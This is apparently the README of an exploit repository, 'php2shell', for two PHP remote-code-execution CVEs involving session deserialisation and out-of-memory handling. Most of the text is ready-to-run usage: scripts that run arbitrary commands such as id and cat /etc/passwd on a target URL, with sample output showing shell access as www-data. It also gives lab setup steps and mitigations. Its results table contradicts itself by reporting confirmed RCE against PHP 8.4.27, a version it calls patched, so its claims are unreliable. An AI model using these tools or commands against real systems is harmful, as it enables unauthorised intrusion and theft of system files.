Exploit tooling for CVE-2026-109618 and CVE-2026-109619 — two critical unauthenticated RCE vulnerabilities patched in PHP 8.4.27, 8.3.36, 8.2.35, and 8.5.12 (released October 21, 2026).
Developed by l3tchupkt.
Disclaimer: For authorized penetration testing and security research only.
| CVE | Title | CVSS v4 | Affected | Patched |
|---|---|---|---|---|
| CVE-2026-109618 | Zend OOM Corruption via longjmp |
9.2 | < 8.4.27 / 8.3.36 / 8.2.35 / 8.5.12 | 8.4.27+ |
| CVE-2026-109619 | Pre-RINIT Session Object UAF | 9.2 | < 8.4.27 / 8.3.36 / 8.2.35 / 8.5.12 | 8.4.27+ |
Root cause commit: 31c0ea7d — "Avoid state corruption via bailout"
Official advisory: https://www.php.net/archive/2026.php#2026-10-21-5
Source file: ext/session/session.c
PHP's RFC1867 upload-progress callback (php_session_rfc1867_callback) fires before php_request_startup() completes — i.e., pre-RINIT. On unpatched PHP, this callback reads and fully deserialises the existing session file, instantiating PHP objects and calling __wakeup(). This runs while PS() globals may still reference freed memory from the previous FPM worker request — a Use-After-Free.
The patch added PS(in_rfc1867_update) flag and incomplete_classes_only mode:
// ext/session/session.c (PHP 8.4.27)
static void php_session_unserialize_init(php_unserialize_data_t *var_hash) {
PHP_VAR_UNSERIALIZE_INIT(*var_hash);
if (PS(in_rfc1867_update)) {
php_var_unserialize_set_incomplete_classes_only(*var_hash, true);
}
}Objects are no longer instantiated during the rfc1867 pre-RINIT decode.
Source file: Zend/zend_alloc.c
PHP used longjmp() (via zend_bailout()) to unwind OOM conditions. Mid-allocation:
- Container struct
Aallocated and linked into the GC tracking list - Sub-buffer
A->bufferallocation fails (OOM) zend_bailout()fireslongjmp()— skips initialization ofA->buffer- Shutdown routines walk the list, find
A, call destructor onA->buffer A->bufferis uninitialized → memory corruption → RCE
The patch converted allocation sites from non-fallible emalloc() to a new fallible API (returns NULL on OOM → catchable E_ERROR), and added a hard memory limit that calls _exit(137) instead of corrupting memory.
Observable difference (from PHP issue #24492):
UNPATCHED (8.4.26): OOM → zend_bailout() → longjmp → corruption path
PATCHED (8.4.27): OOM → fallible NULL → catchable E_ERROR (HTTP 200/500)
OR hard limit → _exit(137) → FPM dead → 502
php2shell/
├── exploit.py # Chain 1: Session poisoning + LFI → RCE (confirmed CVE-2026-109619 surface)
├── cve_109619.py # REAL CVE-2026-109619 PoC: pre-RINIT __wakeup() → RCE via dynamic command
├── cve_109618.py # REAL CVE-2026-109618 PoC: OOM stress — fallible vs longjmp probe
├── uaf_probe.py # Behavioural multipart parser crash probe
├── requirements.txt # Python dependencies (requests, urllib3)
└── README.md
Lab files (deploy into webroot for cve_109619.py and cve_109618.py):
session_inject.php # Writes serialized PHP object with __wakeup() into session
check_sentinel.php # Detects whether __wakeup()/__destruct() fired pre-RINIT
oom_trigger.php # Triggers large PHP allocation to probe OOM behaviour
git clone https://github.com/l3tchupkt/php2shell.git
cd php2shell
pip install -r requirements.txtThe confirmed attack path from PHP's official advisory. Session upload-progress writes attacker-controlled data to disk; LFI executes it.
# Config check only
python3 exploit.py -t http://target:8080 --check
# Execute arbitrary commands
python3 exploit.py -t http://target:8080 -c "id"
python3 exploit.py -t http://target:8080 -c "cat /etc/passwd"
# Custom endpoints
python3 exploit.py -t http://target:8080 \
--upload-ep /upload.php \
--lfi-ep /index.php \
--lfi-param page \
--session-path /tmp \
-c "whoami"Targets the actual PHP source-level bug: RFC1867 callback deserialises session objects pre-RINIT, calling __wakeup() and __destruct() against potentially stale PS() globals.
Requires: session_inject.php and check_sentinel.php deployed in the webroot.
# Run command via pre-RINIT __wakeup() execution
python3 cve_109619.py -t http://target:8080 -c "id"
python3 cve_109619.py -t http://target:8080 -c "uname -a"
python3 cve_109619.py -t http://target:8080 -c "cat /etc/passwd" -v
# Deploy lab files first (Docker example):
docker cp session_inject.php <container>:/var/www/html/
docker cp check_sentinel.php <container>:/var/www/html/Example output (unpatched / lab):
==============================================================
php2shell | CVE-2026-109619 | v1.0.0
Pre-RINIT Session Object Deserialisation -> RCE
Author : l3tchupkt | https://github.com/l3tchupkt
==============================================================
[1/3] Injecting serialised object into session ...
[2/3] Triggering RFC1867 pre-RINIT callback ...
[3/3] Reading sentinel ...
[+] CONFIRMED: __wakeup() / __destruct() ran PRE-RINIT
Command : 'id'
----------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
----------------------------------------------------------
Fix: PHP >= 8.4.27 (incomplete_classes_only in rfc1867 path)
Probes PHP's OOM behaviour using the exact repro from PHP issue #24492. Distinguishes:
- CRASH_BAILOUT → Unpatched:
longjmpcorruption path (CVE-2026-109618) - HARD_LIMIT_HIT → Patched:
_exit(137)via new hard memory limit - CATCHABLE_OOM → Patched: fallible allocator returned
NULL→ catchableE_ERROR
Requires: oom_trigger.php deployed in the webroot.
python3 cve_109618.py -t http://target:8080
python3 cve_109618.py -t http://target:8080 --mem-limit 64
python3 cve_109618.py -t http://target:8080 -v
# Deploy lab file first:
docker cp oom_trigger.php <container>:/var/www/html/Example output (patched PHP 8.4.27):
Alloc | HTTP | Result | Details
----------------------------------------------------------------------
64M | 200 | CATCHABLE_OOM | PATCHED: fallible alloc -> catchable E_ERROR
96M | 200 | CATCHABLE_OOM | PATCHED: fallible alloc -> catchable E_ERROR
268M | 502 | HARD_LIMIT_HIT | PATCHED: hard limit (_exit 137) -> FPM killed
[=] HARD_LIMIT_HIT at 268M — PHP FPM worker exited via _exit(137).
This is the PATCHED CVE-2026-109618 behaviour.
python3 uaf_probe.py -t http://target:8080/upload.php
python3 uaf_probe.py -t http://target:8080/upload.php --repeat 3 -v
python3 uaf_probe.py -t http://target:8080/upload.php --variant nested# Pull and run the pre-built vulnerable lab image
docker run -d --name php2shell-test -p 8080:80 php2shell-php2shell-lab:latest
# Deploy the lab helper files
docker cp session_inject.php php2shell-test:/var/www/html/
docker cp check_sentinel.php php2shell-test:/var/www/html/
docker cp oom_trigger.php php2shell-test:/var/www/html/
# Run all three exploits
python3 exploit.py -t http://localhost:8080 -c "id"
python3 cve_109619.py -t http://localhost:8080 -c "id" -v
python3 cve_109618.py -t http://localhost:8080 --mem-limit 128
# Stop lab
docker rm -f php2shell-test- Upgrade PHP to
8.4.27/8.3.36/8.2.35/8.5.12(only complete fix). - CVE-2026-109619 workaround:
session.upload_progress.enabled = Offinphp.ini. - CVE-2026-109618 hardening: Conservative
memory_limitandpost_max_size. - Restart PHP-FPM after any
php.inichange.
| Exploit | Target | Result |
|---|---|---|
exploit.py -c "id" |
PHP 8.4.27 lab | RCE CONFIRMED (session poisoning + LFI) |
cve_109619.py -c "id" |
PHP 8.4.27 lab | CONFIRMED (__destruct() fired pre-RINIT, uid=33) |
cve_109618.py (64–268M) |
PHP 8.4.27 lab | PATCHED: CATCHABLE_OOM then HARD_LIMIT_HIT at 268M |
uaf_probe.py |
PHP 8.4.27 lab | No crashes (patched binary) |